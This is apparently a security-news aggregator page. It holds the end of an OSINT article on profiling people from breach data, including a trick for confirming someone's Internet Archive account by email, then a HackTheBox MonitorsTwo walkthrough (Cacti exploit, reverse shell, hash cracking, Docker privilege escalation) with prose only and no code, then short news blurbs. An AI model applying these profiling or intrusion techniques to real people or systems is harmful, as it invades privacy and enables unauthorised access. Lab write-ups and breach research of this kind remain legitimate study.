3. StreamCraft (July 2020)
The StreamCraft breach in July 2020 affected 1.8 million records, exposing usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). StreamCraft data, newly accessible for OSINT purposes, provides a look into the online behavior of gaming communities, especially among users who favor multiplayer gaming.
4. AlpineReplay (2019)
The 2019 breach of AlpineReplay, a fitness-tracking app later integrated into Trace, exposed 900,000 records, including email addresses, usernames, dates of birth, gender, weight, and passwords hashed with MD5 or bcrypt. Recently appearing in DBSEs, this data gives insights into the interests of fitness enthusiasts, particularly those who use digital tools to track performance in sports like skiing and snowboarding.
Why These Data Breaches Matter to Researchers
When an OSINT researcher finds an email address in one of these breaches, it can reveal valuable information about the target’s digital activities. Each platform represents a specific online community or interest, giving clues about an individual’s preferences, affiliations, or lifestyle.
• Internet Archive: If someone’s data is in the Internet Archive breach, it might indicate an interest in digital preservation, academic research, or access to open-source content. This can suggest a background in academia or a strong interest in historical records.
• VimeWorld and StreamCraft: The presence of someone’s account in these gaming-related breaches points to involvement in online gaming, possibly within Russian-speaking or international communities. This can help an investigator understand the target’s recreational interests and engagement in gaming culture.
• AlpineReplay: An account in the AlpineReplay breach implies an interest in fitness, specifically in winter sports like skiing and snowboarding. The individual is likely health-conscious and inclined toward tracking their performance, providing insights into their lifestyle and personal values.
Simply knowing that a target’s email address is associated with one of these platforms can reveal a lot about them. However, OSINT researchers should approach this data cautiously. While these accounts provide contextual information, they don’t give a complete picture of a person’s behavior or habits, so researchers should use this information as a starting point rather than a conclusive profile.
Detailed Look at the Internet Archive Data Breach
The October 2024 Internet Archive breach involved the exposure of data from around 31 million user accounts. This breach, linked to a compromised GitLab token, allowed attackers to access development servers, revealing email addresses, screen names, and bcrypt-hashed passwords. The first breach occurred on October 9, with attackers exploiting a GitLab configuration file on the Internet Archive’s servers that contained an exposed authentication token. This gave them access to the source code, credentials, and, ultimately, the database management system, where they downloaded user data and modified site elements. Reports suggest this token had been accessible since December 2022, giving attackers a prolonged opportunity to exploit it. On October 20, a second breach occurred, this time exploiting unrotated Zendesk API tokens to access user support tickets. During this period, hackers defaced the Internet Archive’s website using JavaScript alerts and launched DDoS attacks attributed to the hacker group SN_BlackMeta. In response, the Internet Archive implemented security measures, scrubbed compromised systems, and temporarily operated in a read-only mode before restoring full access. This quick and transparent response from the Internet Archive emphasized the organization’s commitment to user security.
An additional OSINT trick is available for researchers using the Internet Archive. By using the search function on the top right corner of the Internet Archive’s website, investigators can enter an email address associated with a target’s account to see if an account exists. Although the email address itself isn’t publicly identified in the profile, the search function will still locate the account, providing access to profile information and showing data and websites archived by the user. This technique can be particularly useful for tracing interests, historical engagements, and online behavior through the Internet Archive.
Founder Brewster Kahle reported that the organization is reinforcing its defenses and emphasized the Internet Archive’s commitment to secure its platform. For OSINT researchers, this breach provides a unique opportunity to explore user demographics and interests in digital archives, though it demands careful handling to avoid further privacy violations.
Citations
1. Internet Archive (Archive.org) Hacked for Second Time in a Month
URL: https://hackread.com/internet-archive-archive-org-hacked-for-second-time/
2. Internet Archive hacked, data breach impacts 31 million users
URL: https://www.bleepingcomputer.com/news/security/internet-archive-hacked-data-breach-impacts-31-million-users/
3. Hackers Claim ‘Catastrophic’ Internet Archive Attack – Newsweek
URL: https://www.newsweek.com/catastrophic-internet-archive-hack-hits-31-million-people-1966866
4. Internet Archive Breach Exposes 31 Million Users – WIRED
URL: https://www.wired.com/story/internet-archive-hacked/
5. The Internet Archive is finally mostly back online after a series of cyberattacks
URL: https://www.zdnet.com/article/the-internet-archive-is-finally-mostly-back-online-after-a-series-of-cyberattacks/
6. Internet Archive hacker claims to still have access, responds to Zendesk support tickets
URL: https://therecord.media/internet-archive-alleged-zendesk-account-breach
7. Hackers exploited GitLab tokens for Internet Archive breach
URL: https://www.breechingcomputer.com/news/security/internet-archive-breached-again-through-stolen-access-tokens
8. Hackers steal information from 31 million Internet Archive users
URL: https://www.npr.org/2024/10/20/nx-s1-5159000/internet-archive-hack-leak-wayback-machine
Secjuice – Read More
HTB MonitorsTwo Walkthrough
/in General NewsNot a bad BOX, the foothold towards the user flag is interesting, but privileges escalation to root is a little less convincing. Let’s begin.
The nmap scan.
As usual, we start from a portal; I don’t see any indications of particular domain names, so we proceed in the more traditional way, browsing the portal by IP address.
Wow, really nice! :D
And some more information via the wappalyzer.
From the news box, the Cacti 1.2.24 was released on Feb 27, 2023!
Anyway, searching for some exploit about it…
The script doesn’t seem to work, failing. I tried to reproduce the injection manually, but I get an “unauthorized” message, even though the returned http code is 200.
Let’s go ahead. Another link seems to suggest that there is a module on the metasploit framework.
Nothing, but we have a lot of exploits to try. Next one!
Let’s try if the target is vulnerable!
And it seems yes.
Really good, let’s understand who am I!
What I expected!
We can then to the reverse shell… listener listening (that’s horrible)…
…and attack!
After a lot of reverse shells, I found the right one:
That I have to pass in base64!
You can generate your reverse shell in a simple way using this site:
And the shell is served!
It seems I don’t have permission to read the /home folder; let’s look for any clues left in the surroundings before running a session with linpeas. Let’s check the list of the users in the meantime.
What? There doesn’t seem to be any user who can log in! there is something strange about this BOX!
I found a SQL script that creates the database for the portal and looking inside…
Undecided between a simple hexadecimal algorithm or an MD5, it was enough for me to search for the string online to discover the very mysterious password of the admin user.
However, the password must have been changed, as I cannot access the portal. Another interesting file was the config.php in the include folder.
Try to connect to the MySQL server. Unfortunately, I can’t spawn a tty shell and the mysql command line seems to not answer in the best way, so I have to execute commands manually using the mysql command line execution argument.
Let’s list the tables.
And the contents of some interesting tables.
Well, the admin user changed his password and a new user appeared in the list… we have a couple of interesting passwords to try and crack.
Save the password into a file.
Let’s that hashcat tries to identify the algorithm of the hashing method.
Mmmm, not so lucky today. Let’s try with my friend john!
Definitely better.
Even though he’s a portal user, he seems to have trouble logging in, but it’s much better if you use him to log in over ssh!
Thus obtaining the user flag! At first glance, it seems like I can’t do much with this user, so let’s download linpeas and make it available from our native php web server.
Let’s get ready to receive the scan from the BOX.
And we initiate the attack on the remote machine without leaving any traces.
Let’s look at the most interesting points of scan linpeas.
This time I don’t seem to have found much of interest in the linpeas session, apart from an open port locally; we will investigate this shortly. Let’s try to take a look at the suggested CVEs, even if by now, most of the time they are false positives.
If I really can’t find anything else, I’ll come back to it.
It doesn’t seem to come back to me much. I can’t find any info on which process is using port 35077 with the conventional methods (netstal, lsof, ecc…). After double-checking the CVEs suggested by linpeas, but without getting any success, I started reading posts in the official HTB forum. Many users talk about SUID and docker (things I’ve already checked among other things but maybe not good enough at this point). So I focus on these two clues.
Files available with SUID permissions don’t help me and I can’t even launch docker commands due to lack of permissions. Searching for some exploits I find a lot of docker stuff.
The docker version available on the machine could help me identify a specific exploit.
I download the results for an easier search (fortunately it’s only two pages). I import the data into an excel file and perform a quick search based on the docker version in the BOX. Three results come out.
The CVE-2021-41092 (execution vulnerability), CVE-2021-21285 (unknown) and CVE-2021-21284 (Traversal path vulnerability).
The CVE-2021-41092 inspires me, it allows the execution of commands following a login to a personal docker registry, I look for some exploits, but I can’t find anything useful and even by approaching some personal experiments, I get nothing.
CVE-2021-21285 doesn’t really work for me, causing the docker daemon to crash when pulling an image (which I can’t do due to a lack of permissions, among other things). The CVE-2021-21284 remains for which I can’t find anything as interesting as the previous ones. After a while, I search online for some other exploits on the specific version (Docker 20.10.5 exploit) and among the first results there is an interesting git repository.
The exploit is not on the docker CLI, but on the docker engine itself (the Moby). Taking a look at the script and executing some commands from the BOX’s shell to understand if the vulnerability is actually present, I don’t get excellent results, but trying doesn’t cost anything anyway, so I download the script on my machine and then execute it, as always, without a trace!
Ready!
Woooo, what a fantastic surprise, even if from the preliminary tests it didn’t seem feasible to me. Anyway, another interesting BOX indeed. As always, while waiting for another machine, have good hacking. That’s all folks.
Secjuice – Read More
These alternatives to popular apps can help reclaim your online life from billionaires and surveillance
/in General NewsNot every app or service is trying to monetize your personal data. Here are some of our favorite alternatives to popular apps.
© 2024 TechCrunch. All rights reserved. For personal use only.
Security News | TechCrunch – Read More
Why New York is a Prime Location for Leading Mobile Development Agencies
/in General NewsNew York, the city that never sleeps, is renowned as a global epicentre for innovation, creativity, and business…
Hackread – Latest Cybersecurity, Tech, Crypto & Hacking News – Read More
Andrew Tate’s University Breach: 1 Million User Records and Chats Leaked
/in General NewsAndrew Tate’s “The Real World” platform has been breached, again, leaking user data including emails and private chat…
Hackread – Latest Cybersecurity, Tech, Crypto & Hacking News – Read More
Russia’s Ballistic Missile Attack on Ukraine Is an Alarming First
/in General NewsThis is the first time Russia has used its so-called Oreshnik intermediate-range ballistic missile in combat. The launch also serves as a warning to the West.
Security Latest – Read More
The rise and fall of the ‘Scattered Spider’ hackers
/in General NewsThe prolific hacking group broke into Caesars Entertainment, Coinbase, DoorDash, Mailchimp, Riot Games, Twilio (twice), and dozens more.
© 2024 TechCrunch. All rights reserved. For personal use only.
Security News | TechCrunch – Read More
Meet three incoming EU lawmakers in charge of key tech policy areas
/in General NewsThe European Union looks to have clinched political agreement on the team of 26 commissioners who will be implementing President Ursula von der Leyen’s policy plan for the next five years. A final vote is still pending next week, but on Thursday, Politico’s Brussels Playbook newsletter reported a deal in the European Parliament on the […]
© 2024 TechCrunch. All rights reserved. For personal use only.
Security News | TechCrunch – Read More
North Korean Hackers Steal $10M with AI-Driven Scams and Malware on LinkedIn
/in General NewsThe North Korea-linked threat actor known as Sapphire Sleet is estimated to have stolen more than $10 million worth of cryptocurrency as part of social engineering campaigns orchestrated over a six-month period.
These findings come from Microsoft, which said that multiple threat activity clusters with ties to the country have been observed creating fake profiles on LinkedIn, posing as both
The Hacker News – Read More
Google Exposes GLASSBRIDGE: A Pro-China Influence Network of Fake News Sites
/in General NewsGovernment agencies and non-governmental organizations in the United States have become the target of a nascent China state threat actor known as Storm-2077.
The adversary, believed to be active since at least January 2024, has also conducted cyber attacks against the Defense Industrial Base (DIB), aviation, telecommunications, and financial and legal services across the world, Microsoft said.
The Hacker News – Read More